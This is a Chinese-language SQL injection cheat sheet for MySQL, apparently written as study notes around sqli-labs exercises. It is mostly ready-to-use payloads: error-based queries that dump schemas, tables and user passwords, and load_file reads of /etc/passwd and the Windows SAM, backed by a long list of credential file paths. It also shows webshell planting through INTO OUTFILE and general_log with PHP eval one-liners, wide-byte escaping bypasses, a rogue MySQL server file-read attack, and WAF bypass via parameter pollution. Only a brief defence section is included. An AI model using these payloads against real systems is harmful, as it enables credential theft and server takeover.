select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;

参考:https://www.freebuf.com/column/235496.html

floor()

floor(x)

返回小于或等于 x 的最大整数  

1
2
3
4
SELECT FLOOR(1.5) 
-- 返回1
select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2))
a from information_schema.columns group by a;

以上语句可以简化成如下的形式。

1
select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))

如果关键的表被禁用了,可以使用这种形式

1
2
select count(*) from (select 1 union select null union
select !1) group by concat(version(),floor(rand(0)*2))

如果rand 被禁用了可以使用用户变量来报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
爆库
select 1 from ( select count(*),(concat((select schema_name from information_schema.schemata limit
0,1),’|’,floor(rand(0)*2)))x from information_schema.tables group by x )a;
http://www.hackblog.cn/sql.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
爆表
select 1 from (select count(*),(concat((select table_name from information_schema.tables where
table_schema=database() limit 0,1),’|’,floor(rand(0)*2)))x from information_schema.tables group by x)a;
爆字段
select 1 from (select count(*),(concat((select column_name from information_schema.columns where
table_schema=database() and table_name=‘users’ limit 0,1),’|’,floor(rand(0)*2)))x from information_schema.tables
group by x)a;
爆数据
select 1 from (select count(*),(concat((select concat(name,’|’,passwd,’|’,birth) from users limit
0,1),’|’,floor(rand(0)*2)))x from information_schema.tables group by x)a;
select 1 from(select count(*),concat((select (select (SELECT concat(0x23,name,0x3a,passwd,0x23) FROM users limit
0,1)) from information_schema.tables limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a

几何函数

1
2
3
4
5
6
7
8
9
10
11
GeometryCollection:id=1 AND GeometryCollection((select * from (select* from(select user())a)b))

polygon():id=1 AND polygon((select * from(select * from(select user())a)b))

multipoint():id=1 AND multipoint((select * from(select * from(select user())a)b))

multilinestring():id=1 AND multilinestring((select * from(select * from(select user())a)b))

linestring():id=1 AND LINESTRING((select * from(select * from(select user())a)b))

multipolygon() :id=1 AND multipolygon((select * from(select * from(select user())a)b))

不存在函数

1
2
3
可以用来爆数据库
select a();
ERROR 1305 (42000): FUNCTION mysql.a does not exist

name_const()

1
2
3
仅可取数据库版本信息
select * from(select name_const(version(),0x1),name_const(version(),0x1))a;
ERROR 1060 (42S21): Duplicate column name '5.5.29'

uuid相关函数

1
2
3
适用版本:8.0.x
mysql> SELECT UUID_TO_BIN((SELECT password FROM users WHERE id=1));
mysql> SELECT BIN_TO_UUID((SELECT password FROM users WHERE id=1));

exp()

exp(int)

返回e的x次方

适用版本:版本在5.5.5~5.5.49

1
2
3
4
5
6
7
8
9
select exp(~(select * FROM(SELECT USER())a));
--其中,~符号为运算符,意思为一元字符反转,通常将字符串经过处理后变成大整数,再放到exp函 数内,得到的结果将超过mysql的double数组范围,从而报错输出。除了exp()之外,还有类似pow()之类的相似函数同样是可利用的,他们的原理相同。
--double 数值类型超出范围
--Exp()为以e 为底的对数函数;

--ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

如果是在适用版本之外:虽然也会报错,但是表名不会出来
select !(select * from(select user())a)-~0;

exp、cot、pow、abs等可以报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
select abs(99999e9999999); #可使用在报错的布尔盲注中
ERROR 1367 (22007): Illegal double '99999e9999999' value found during parsing

select pow(1+(1=1),999999999999);mysql> select pow(1+(1=1),999999999999);
ERROR 1690 (22003): DOUBLE value is out of range in 'pow((1 + (1 = 1)),999999999999)'
mysql> select pow(1+(1=0),999999999999);
+---------------------------+
| pow(1+(1=0),999999999999) |
+---------------------------+
| 1 |
+---------------------------+
1 row in set (0.00 sec)

通过这种写法,可以实现报错注入
select pow(1+(表达式),999999999999)
表达式可以是盲注的形式,返回1或者0,通过报错将字符才出来

其他函数用法类似

exp临界值709
exp(709+(1=0))

可以参考exp 报错文章:http://www.cnblogs.com/lcamry/articles/5509124.html

1
2
select !(select * from (select user())x) -(ps:这是减号) ~0
--bigint 超出范围;~0 是对0 逐位取反,很大的版本在5.5.5 及其以上

可以参考文章bigint 溢出文章http://www.cnblogs.com/lcamry/articles/5509112.html

1
2
3
4
5
6
extractvalue(1,concat(0x7e,(select @@version),0x7e)) 
--mysql 对xml 数据进行查询和修改的xpath 函数,xpath 语法错误
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
--mysql 对xml 数据进行查询和修改的xpath 函数,xpath 语法错误
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
--mysql 重复特性,此处重复了version,所以报错。

join using()注列名

通过系统关键词join可建立两个表之间的内连接。

通过对想要查询列名的表与其自身建议内连接,会由于冗余的原因(相同列名存在),而发生错误。

并且报错信息会存在重复的列名,可以使用USING 表达式声明内连接(INNER JOIN)条件来避免报错。

1
2
3
4
mysql>select * from(select * from users a join (select * from users)b)c;
mysql>select * from(select * from users a join (select * from users)b using(username))c;
mysql>select * from(select * from users a join (select * from users)b
using(username,password))c

GTID相关函数

从MySQL 5.6.5 开始新增了一种基于GTID 的复制方式。通过GTID 保证了每个在主库上提交的事务在集群中有一个唯一的ID。这种方式强化了数据库的主备一致性,故障恢复以及容错能力。

GTID (Global Transaction ID)是全局事务ID,当在主库上提交事务或者被从库应用时,可以定位和追踪每一个事务,对DBA来说意义就很大了,我们可以适当的解放出来,不用手工去可以找偏移量的值了,而是通过CHANGE MASTER TO MASTER_HOST=’xxx’, MASTER_AUTO_POSITION=1的即可方便的搭建从库,在故障修复中也可以采用MASTER_AUTO_POSITION=‘X’的方式。

可能大多数人第一次听到GTID的时候会感觉有些突兀,但是从架构设计的角度,GTID是一种很好的分布式ID实践方式,通常来说,分布式ID有两个基本要求:
1)全局唯一性
2)趋势递增
这个ID因为是全局唯一,所以在分布式环境中很容易识别,因为趋势递增,所以ID是具有相应的趋势规律,在必要的时候方便进行顺序提取,行业内适用较多的是基于Twitter的ID生成算法snowflake,所以换一个角度来理解GTID,其实是一种优雅的分布式设计。

1
2
3
4
mysql>select gtid_subset(user(),1);
mysql>select gtid_subset(hex(substr((select * from users limit
1,1),1,1)),1);
mysql>select gtid_subtract((select * from(select user())a),1);

宽字节注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
概念
MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如 %aa%5c 就是一个 汉字。

因为过滤方法主要就是在敏感字符前面添加 反斜杠 \。用于转义的函数有addslashes ,mysql_real_escape_string ,mysql_escape_string等

宽字节注入就是PHP发送请求到MySql时使用了语句SET NAMES 'gbk' 或是SET character_set_client =gbk 进行了一次编码,但是又由于一些不经意的字符集转换导致了宽字节注入。

注入方式
1 %df吃掉

具体的原因是 urlencode(\') = %5c%27,我们在%5c%27 前面添加%df,形 成%df%5c%27,

MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把%df%5c 当做是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。

2 将 \' 中的 \ 过滤掉

例如可以构造 %5c%5c%27 的情况,后面的%5c会被前面的%5c 给注释掉。这也是 bypass 的一种方法。

post型
将 utf-8 转换为 utf-16 或 utf-32,例如将 ' 转为 utf-16 为�

我们就 可以利用这个方式进行尝试,可以使用 Linux 自带的 iconv 命令进行 UTF 的编码转换:

➜ ~ echo \'|iconv -f utf-8 -t utf-16
��'
➜ ~ echo \'|iconv -f utf-8 -t utf-32
��'

其他情况

UTF-8是3个字符
GBK是2个字符
\是1个字符
外面传参一个汉字UTF-8(3个字符)

进了数据库GBK3+1=4 >这是两个汉字

汉') or 1=1-- qwe

有的时候我们也可以用16进制来代替字符串

练习题目
sqli-labs(32-37)

防御策略
过滤危险字符

采用正则表达式匹配union,sleep,load_file等关键字,如果匹配到就退出程序
使用预编译语句,绑定变量

使用存储过程

先将SQL语句定义在数据库中
尽量避免在存储过程中使用动态SQL语句
若无法避免,应使用严格的输入过滤或编码函数来处理用户输入数据
检查数据类型

检查输入数据的数据类型,很大程度上可以对抗SQL注入

导入导出相关操作的讲解

在了解导入导出相关操作时,先了解以下Mysql变量

mysql变量

mysqld服务器维护两种变量。全局变量影响服务器的全局操作。会话变量影响具体客户端连接相关操作。

服务器启动时,将所有全局变量初始化为默认值。可以在选项文件或命令行中指定的选项来更改这些默认值。服务器启动后,通过连接服务器并执行SET GLOBAL var_name语句可以更改动态全局变量。要想更改全局变量,必须具有SUPER权限。

服务器还为每个客户端连接维护会话变量。连接时使用相应全局变量的当前值对客户端会话变量进行初始化。客户可以通过SET SESSION var_name语句来更改动态会话变量。设置会话变量不需要特殊权限,但客户可以只更改自己的会话变量,而不更改其它客户的会话变量。

可以通过SHOW VARIABLES语句查看系统变量及其值。

1
mysql> SHOW VARIABLES;

可以使用like语句来匹配和筛选。

secure_file_priv

secure_file_priv对读写文件有影响。
secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出。默认是null
secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录

secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

load_file()导出文件

Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。

使用条件:
A、必须有权限读取并且文件必须完全可读

and (select count() from mysql.user)>0 /* 如果结果返回正常,说明具有读写权限。

and (select count() from mysql.user)>0 /* 返回错误,应该是管理员给数据库帐户降权

B、欲读取文件必须在服务器上

C、必须指定文件完整的路径

D、欲读取文件必须小于max_allowed_packet
如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的就是权限,在windows 下,如果NTFS 设置得当,是不能读取相关的文件的,当遇到只有administrators 才能访问的文件,users 就别想load_file 出来。

在实际的注入中,我们有两个难点需要解决:

绝对物理路径
构造有效的畸形语句(报错爆出绝对路径)

在很多PHP 程序中,当提交一个错误的Query,如果display_errors = on,程序就会暴露WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的PHP 程序来说,整个服务器的安全将受到严重的威胁。

利用日志写入

secure_file_privNULL的情况下,我们是没有办法在MySQL中进行导入导出的,但是可以利用日志来进行shell的写入

可以先看看log的位置,show variables like 'general_log%'

general_log

那么使用日志写入shell的方式如下

  1. 开启日志记录:set global general_log='on'
  2. 将日志文件导出到指定目录:set global general_log_file='xxxxx.php'
  3. 最后执行select语句,例如:select '<?php eval($POST["diaossama"]);?>'

这样我们执行该语句的过程就会被记录到日志中去

1
2
3
....
50 Query select '<?php eval($POST["diaossama"]);?>'
....Copy

成功写入一句话木马

利用MySQL读取文件

load_file(‘path’)

使用方式

1
2
select load_file('/etc/passwd');
select load_file(0x2F6574632F706173737764);Copy

防止文件中有非法字符,可以先将其编码

1
select hex(load_file('/etc/passwd'));Copy

Rogue-MySQL-Server

https://www.cnblogs.com/BOHB-yunying/p/10820453.html

https://blog.csdn.net/ls1120704214/article/details/88174003

伪造一个恶意的MySQL Server,利用load data infile这一语句的漏洞实现客户端任意文件读取。该语句的功能是:读取一个文件内容并插入到表中

load data infile语句读取客户端文件的语法如下:

1
load data local infile "/tmp/test.csv" into table testCopy

这一语句发送执行后,客户端和服务端正常的执行流程如下:

  1. Client:我把我本地/tmp/test.csv的内容插入到 test 表中去
  2. Server:请把你本地/tmp/test.csv的内容发送给我
  3. Client:好的,这是我本地/tmp/test.csv的内容
  4. Server:成功/失败

正常情况下这个流程是没问题的,但问题在于客户端并不知道自己的上一条命令具体发送了什么,所以客户端第二次要发送什么文件完全取决于服务端,那我们只需要构造一个恶意的服务端,就可以非法拿到服务器上的任意文件

payload:https://github.com/allyshka/Rogue-MySql-Server

WINDOWS下:

c:/boot.ini //查看系统版本

c:/windows/php.ini //php配置信息

c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码

c:/winnt/php.ini

c:/winnt/my.ini

c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码

c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码

c:\Program Files\Serv-U\ServUDaemon.ini

c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置

c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码

c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此

c:\Program Files\RhinoSoft.com\ServUDaemon.exe

C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere*.cif文件

//存储了pcAnywhere的登陆密码

c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件

c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.

c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机

d:\APACHE\Apache2\conf\httpd.conf

C:\Program Files\mysql\my.ini

C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

LUNIX/UNIX 下:

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件

/usr/local/apache2/conf/httpd.conf

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置

/usr/local/app/php5/lib/php.ini //PHP相关设置

/etc/sysconfig/iptables //从中得到防火墙规则策略

/etc/httpd/conf/httpd.conf // apache配置文件

/etc/rsyncd.conf //同步程序配置文件

/etc/my.cnf //mysql的配置文件

/etc/redhat-release //系统版本

/etc/issue

/etc/issue.net

/usr/local/app/php5/lib/php.ini //PHP相关设置

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf //查看linux APACHE虚拟主机配置文件

/usr/local/resin-3.0.22/conf/resin.conf //针对3.0.22的RESIN配置文件查看

/usr/local/resin-pro-3.0.22/conf/resin.conf //同上

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件

/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

/usr/local/resin-pro-3.0.22/conf/resin.conf 同上

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

/etc/sysconfig/iptables 查看防火墙策略

load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录

replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

示例:

1
2
3
4
5
6
7
8
9
10
11
Select load_file(‘/flag’);
SELECT CONVERT(LOAD_FILE("/etc/passwd") USING utf8);
Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,
114,101,112,97,105,114,92,115,97,109))))
利用hex()将文件内容导出来,尤其是smb文件时可以使用。
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
Explain:“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII 代码
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
Explain:“c:/boot.ini”的16 进制是“0x633a2f626f6f742e696e69”
-1 union select 1,1,1,load_file(c:\\boot.ini)
Explain:路径里的/用\\代替

文件导入到数据库(LOAD DATA INFILE)

LOAD DATA INFILE 语句用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必须为一个文字字符串。

20210131134917

在注入过程中,我们往往需要一些特殊的文件,比如配置文件,密码文件等。当你具有数据库的权限时,可以将系统文件利用load data infile 导入到数据库中。

示例:

1
load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'

将/tmp/t0.txt 导入到t0 表中,character set gbk 是字符集设置为gbk,fields terminated by 是每一项数据之间的分隔符,lines terminated by 是行的结尾符。

当错误代码是2 的时候的时候,文件不存在,错误代码为13 的时候是没有权限,可以考虑/tmp 等文件夹。
TIPS:我们从mysql5.7 的文档看到添加了load xml 函数,是否依旧能够用来做注入还需要验证。

导入到文件(OUTFILE)

SELECT…..INTO OUTFILE ‘file_name’

可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有FILE权限,才能使用此语法。file_name 不能是一个已经存在的文件。

mysql中的配置文件secure_file_priv变量如果为NULL,则不能导入

[mysqld]
secure_file_priv=”/“

我们一般有两种利用形式:
第一种直接将select 内容导入到文件中:

1
Select version() into outfile “c:\\phpnow\\htdocs\\test.php”

此处将version()替换成一句话,\<?php @eval($_post[“mima”])?>

也即
Select\<?php @eval($_post[“mima”])?> into outfile “c:\\phpnow\\htdocs\\test.php”
直接连接一句话就可以了,其实在select 内容中不仅仅是可以上传一句话的,也可以上传很多的内容。

第二种修改文件结尾:

1
Select version() Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16 进制文件

解释:通常是用‘\r\n’结尾,此处我们修改为自己想要的任何文件。同时可以用FIELDS TERMINATED BY 16 进制可以为一句话或者其他任何的代码,可自行构造。在sqlmapos-shell 采取的就是
这样的方式,具体可参考os-shell 分析文章:http://www.cnblogs.com/lcamry/p/5505110.html
TIPS:
(1)可能在文件路径当中要注意转义,这个要看具体的环境
(2)上述我们提到了load_file(),但是当前台无法导出数据的时候,我们可以利用下面的语句:

1
select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’) into outfile‘c:\\wamp\\www\\test.php’

可以利用该语句将服务器当中的内容导入到web 服务器下的目录,这样就可以得到数据了。上述my.ini 当中存在password 项(不过默认被注释),当然会有很多的内容可以被导出来,这个要平时积累。

类似的还有一个dumpfile

1
2
select "<?php phpinfo();?>" into dumpfile "/tmp/1.php";
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

secure_file_privNULL

1
2
3
4
如果存在堆叠注入,当然由于是global变量,需要root权限
set global general_log=on;
set global general_log_file='C:/phpStudy/WWW/789.php';
select '<?php eval($_POST['a']) ?>';

sqli-labs/Less-7

1
2
3
4
5
6
7
--使用')) or 1=1--+进行注入
http://127.0.0.1/sqli-labs/Less-7/?id=1')) or 1=1 --+
(2)利用上述提到的文件导入的方式进行演示:
http://127.0.0.1/sqli-labs/Less-7/?id=-1')) union select 1,2,3 into outfile "D:/phpstudy_pro/WWW/sqli-labs/outfile/less-7.txt"--+
(3)直接将一句话木马导入进去,再用菜刀等webshell 管理工具连接即可
http://127.0.0.1/sqli-labs/Less-7/?id=-1'))UNION SELECT 1,2,'<?php @eval($_post[“mima”])?>' into outfile "D:/phpstudy_pro/WWW/sqli-labs/outfile/less-7.php"--+
(4)这里也可以到处数据库的内容

增删改函数介绍

在对数据进行处理上,我们经常用到的是增删查改。接下来我们讲解一下mysql 的增删改。查就是我们上述总用到的select,这里就介绍了。

增加一行数据。

Insert

删除

删除数据:
delete from 表名;
delete from 表名where id=1;
删除结构:
删数据库:drop database 数据库名;
删除表:drop table 表名;
删除表中的列:alter table 表名drop column 列名;

修改
修改所有:updata 表名set 列名=’新的值,非数字加单引号’ ;
带条件的修改:updata 表名set 列名=’新的值,非数字加单引号’ where id=6;

HTTP 头部介绍

在利用抓包工具进行抓包的时候,我们能看到很多的项,下面详细讲解每一项。
HTTP 头部详解
1、Accept:告诉WEB 服务器自己接受什么介质类型,/ 表示任何类型,type/* 表示该类型下的所有子类型,type/sub-type。
2、Accept-Charset: 浏览器申明自己接收的字符集

Accept-Encoding: 浏览器申明自己接收的编码方法,通常指定压缩方法,是否支持压缩,支持什么压缩方法(gzip,deflate)
Accept-Language::浏览器申明自己接收的语言语言跟字符集的区别:中文是语言,中文有多种字符集,比如big5,gb2312,gbk 等等。
3、Accept-Ranges:WEB 服务器表明自己是否接受获取其某个实体的一部分(比如文件的一部分)的请求。bytes:表示接受,none:表示不接受。
4、Age:当代理服务器用自己缓存的实体去响应请求时,用该头部表明该实体从产生到现在经过多长时间了。
5、Authorization:当客户端接收到来自WEB 服务器的WWW-Authenticate 响应时,用该头部来回应自己的身份验证信息给WEB 服务器。
6、Cache-Control:请求:no-cache(不要缓存的实体,要求现在从WEB 服务器去取)
max-age:(只接受Age 值小于max-age 值,并且没有过期的对象)
max-stale:(可以接受过去的对象,但是过期时间必须小于max-stale 值)
min-fresh:(接受其新鲜生命期大于其当前Age 跟min-fresh 值之和的缓存对象)
响应:public(可以用Cached 内容回应任何用户)
private(只能用缓存内容回应先前请求该内容的那个用户)
no-cache(可以缓存,但是只有在跟WEB 服务器验证了其有效后,才能返回给客户端)
max-age:(本响应包含的对象的过期时间)
ALL: no-store(不允许缓存)
7、Connection:请求:close(告诉WEB 服务器或者代理服务器,在完成本次请求的响应后,断开连接,不要等待本次连接的后续请求了)。
keepalive(告诉WEB 服务器或者代理服务器,在完成本次请求的响应后,保持连接,等待本次连接的后续请求)。
响应:close(连接已经关闭)。
keepalive(连接保持着,在等待本次连接的后续请求)。
Keep-Alive:如果浏览器请求保持连接,则该头部表明希望WEB 服务器保持连接多长时间(秒)。例如:Keep-Alive:300
8、Content-Encoding:WEB 服务器表明自己使用了什么压缩方法(gzip,deflate)压缩响应中的对象。例如:Content-Encoding:gzip
9、Content-Language:WEB 服务器告诉浏览器自己响应的对象的语言。
10、Content-Length: WEB 服务器告诉浏览器自己响应的对象的长度。例如:Content-Length:26012
11、Content-Range: WEB 服务器表明该响应包含的部分对象为整个对象的哪个部分。例如:Content-Range: bytes 21010-47021/47022
12、Content-Type: WEB 服务器告诉浏览器自己响应的对象的类型。例如:Content-Type:application/xml
13、ETag:就是一个对象(比如URL)的标志值,就一个对象而言,比如一个html 文件,如果被修改了,其Etag 也会别修改,所以ETag 的作用跟Last-Modified 的作用差不多,主要供WEB 服务器判断一个对象是否改变了。比如前一次请求某个html 文件时,获得了其ETag,当这次又请求这个文件时,浏览器就会把先前获得的ETag 值发送给WEB 服务器,然后WEB 服务器会把这个ETag 跟该文件的当前ETag 进行对比,然后就知道这个文件有没有改变了。
14、Expired:WEB 服务器表明该实体将在什么时候过期,对于过期了的对象,只有在跟WEB 服务器验证了其有效性后,才能用来响应客户请求。是HTTP/1.0 的头部。例如:Expires:Sat, 23 May 2009 10:02:12 GMT
15、Host:客户端指定自己想访问的WEB 服务器的域名/IP 地址和端口号。例如:Host:rss.sina.com.cn
16、If-Match:如果对象的ETag 没有改变,其实也就意味著对象没有改变,才执行请求的动作。
17、If-None-Match:如果对象的ETag 改变了,其实也就意味著对象也改变了,才执行请求的动作。
18、If-Modified-Since:如果请求的对象在该头部指定的时间之后修改了,才执行请求的动作( 比如返回对象), 否则返回代码304 ,告诉浏览器该对象没有修改。例如:If-Modified-Since:Thu, 10 Apr 2008 09:14:42 GMT
19、If-Unmodified-Since:如果请求的对象在该头部指定的时间之后没修改过,才执行请求的动作(比如返回对象)。
20、If-Range:浏览器告诉WEB 服务器,如果我请求的对象没有改变,就把我缺少的部分给我,如果对象改变了,就把整个对象给我。浏览器通过发送请求对象的ETag 或者自己所知道的最后修改时间给WEB 服务器,让其判断对象是否改变了。总是跟Range 头部一
起使用。
21、Last-Modified:WEB 服务器认为对象的最后修改时间,比如文件的最后修改时间,动态页面的最后产生时间等等。例如:Last-Modified:Tue, 06 May 2008 02:42:43 GMT
22、Location:WEB 服务器告诉浏览器,试图访问的对象已经被移到别的位置了,到该头部指定的位置去取。例如: Location : http://i0.sinaimg.cn/dy/deco/2008/0528/sinahome_0803_ws_005_text_0.gif
23、Pramga:主要使用Pramga: no-cache,相当于Cache-Control: no-cache。例如:Pragma:no-cache
24、Proxy-Authenticate: 代理服务器响应浏览器,要求其提供代理身份验证信息。Proxy-Authorization:浏览器响应代理服务器的身份验证请求,提供自己的身份信息。
25、Range:浏览器(比如Flashget 多线程下载时)告诉WEB 服务器自己想取对象的哪部分。例如:Range: bytes=1173546-
26、Referer:浏览器向WEB 服务器表明自己是从哪个网页/URL 获得/点击当前请求中的网址/URL。例如:Referer:http://www.sina.com/
27、Server: WEB 服务器表明自己是什么软件及版本等信息。例如:Server:Apache/2.0.61(Unix)
28、User-Agent: 浏览器表明自己的身份(是哪种浏览器)。例如:User-Agent:Mozilla/5.0(Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.14) Gecko/20080404 Firefox/2、0、0、14
29、Transfer-Encoding: WEB 服务器表明自己对本响应消息体(不是消息体里面的对象)作了怎样的编码,比如是否分块(chunked)。例如:Transfer-Encoding: chunked
30、Vary: WEB 服务器用该头部的内容告诉Cache 服务器,在什么条件下才能用本响应所返回的对象响应后续的请求。假如源WEB 服务器在接到第一个请求消息时,其响应消息的头部为:Content- Encoding: gzip; Vary: Content-Encoding 那么Cache 服务器会分析后续请求消息的头部,检查其Accept-Encoding,是否跟先前响应的Vary 头部值一致,即是否使用相同的内容编码方法,这样就可以防止Cache 服务器用自己Cache 里面压缩后的实体响应给不具备解压能力的浏览器。例如:Vary:Accept-Encoding
31、Via: 列出从客户端到OCS 或者相反方向的响应经过了哪些代理服务器,他们用什么协议(和版本)发送的请求。当客户端请求到达第一个代理服务器时,该服务器会在自己发出的请求里面添加Via 头部,并填上自己的相关信息,当下一个代理服务器收到第一个代理服务器的请求时,会在自己发出的请求里面复制前个代理服务器的请求的Via 头部,并把自己的相关信息加到后面,以此类推,当OCS 收到最后一个代理服务器的请求时,检查Via 头部,就知道该请求所经过的路由。例如:Via:1.0 236.D0707195.sina.com.cn:80(squid/2.6.STABLE13)

sqli-labs/less18

从代码中看到

1
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent','$IP', $uname)";

将useragent 和ip 插入到数据库中,那么我们是不是可以用这个来进行注入呢?

user-agent 修改为'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1;

基于程度和顺序的注入(哪里发生了影响)

一阶注射

二阶注射

一阶注射是指输入的注射语句对WEB 直接产生了影响,出现了结果;二阶注入类似存储型XSS,是指输入提交的语句,无法直接对WEB 应用程序产生影响,通过其它的辅助间接的对WEB 产生危害,这样的就被称为是二阶注入.

sqli-labs/Less-24

二次排序注入思路:

  1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP 数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL 语句或者命令。
  2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
  3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
  4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL 语句或者命令在服务端环境中执行。
  5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。此例子中我们的步骤是注册一个admin’#的账号,接下来登录该帐号后进行修改密码。此时修改的就是admin 的密码。Sql 语句变为UPDATE users SET passwd=”New_Pass” WHERE username =’ admin’ # ‘ AND password=’ , 也就是执行了UPDATE users SET passwd=”New_Pass” WHERE username =’admin’

步骤演示:
(1)初始数据库为

20210201131540

(2)注册admin’#账号

20210201135619

注意此时的数据库中出现了admin’#的用户,同时admin 的密码为123

(4)登录admin’#,并修改密码

20210201135610

可以看到admin 的密码已经修改为1111

服务器(两层)架构

20210201135604

服务器端有两个部分:第一部分为tomcat 为引擎的jsp 型服务器,第二部分为apache为引擎的php 服务器,真正提供web 服务的是php 服务器。工作流程为:client 访问服务器,能直接访问到tomcat 服务器,然后tomcat 服务器再向apache 服务器请求数据。数据返回路径则相反。【参数污染】

重点:index.php?id=1&id=2,你猜猜到底是显示id=1 的数据还是显示id=2 的?

Explain:apache(php)解析最后一个参数,即显示id=2 的内容。Tomcat(jsp)解析第一个参数,即显示id=1 的内容。

20210201135722

以上图片为大多数服务器对于参数解析的介绍。
此处我们想一个问题:index.jsp?id=1&id=2 请求,针对第一张图中的服务器配置情况,客户端请求首先过tomcat,tomcat 解析第一个参数,接下来tomcat 去请求apache(php)服务器,apache 解析最后一个参数。那最终返回客户端的应该是哪个参数?Answer:此处应该是id=2 的内容,应为时间上提供服务的是apache(php)服务器,返回的数据也应该是apache 处理的数据。而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在tomcat 服务器处做数据过滤和处理,功能类似为一个WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过WAF 的检测。该用法就是HPP(HTTP Parameter Pollution),http 参数污染攻击的一个应用。HPP 可对服务器和客户端都能够造成一定的威胁。

宽字节注入

在了解宽字节注入之前,我们先来看一看字符集是什么。
字符集也叫字符编码,是一种将符号转换为二进制数的映射关系。
几种常见的字符集:
ASCII编码:单字节编码
latin1编码:单字节编码
gbk编码:使用一字节和双字节编码,0x00-0x7F范围内是一位,和ASCII 保持一致。双字节的第一字节范围是0x81-0xFE
UTF-8编码:使用一至四字节编码,0x00–0x7F范围内是一位,和ASCII 保持一致。其它字符用二至四个字节变长表示。

宽字节就是两个以上的字节,宽字节注入产生的原因就是各种字符编码的不当操作,使得攻击者可以通过宽字节编码绕过SQL注入防御。
通常来说,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。

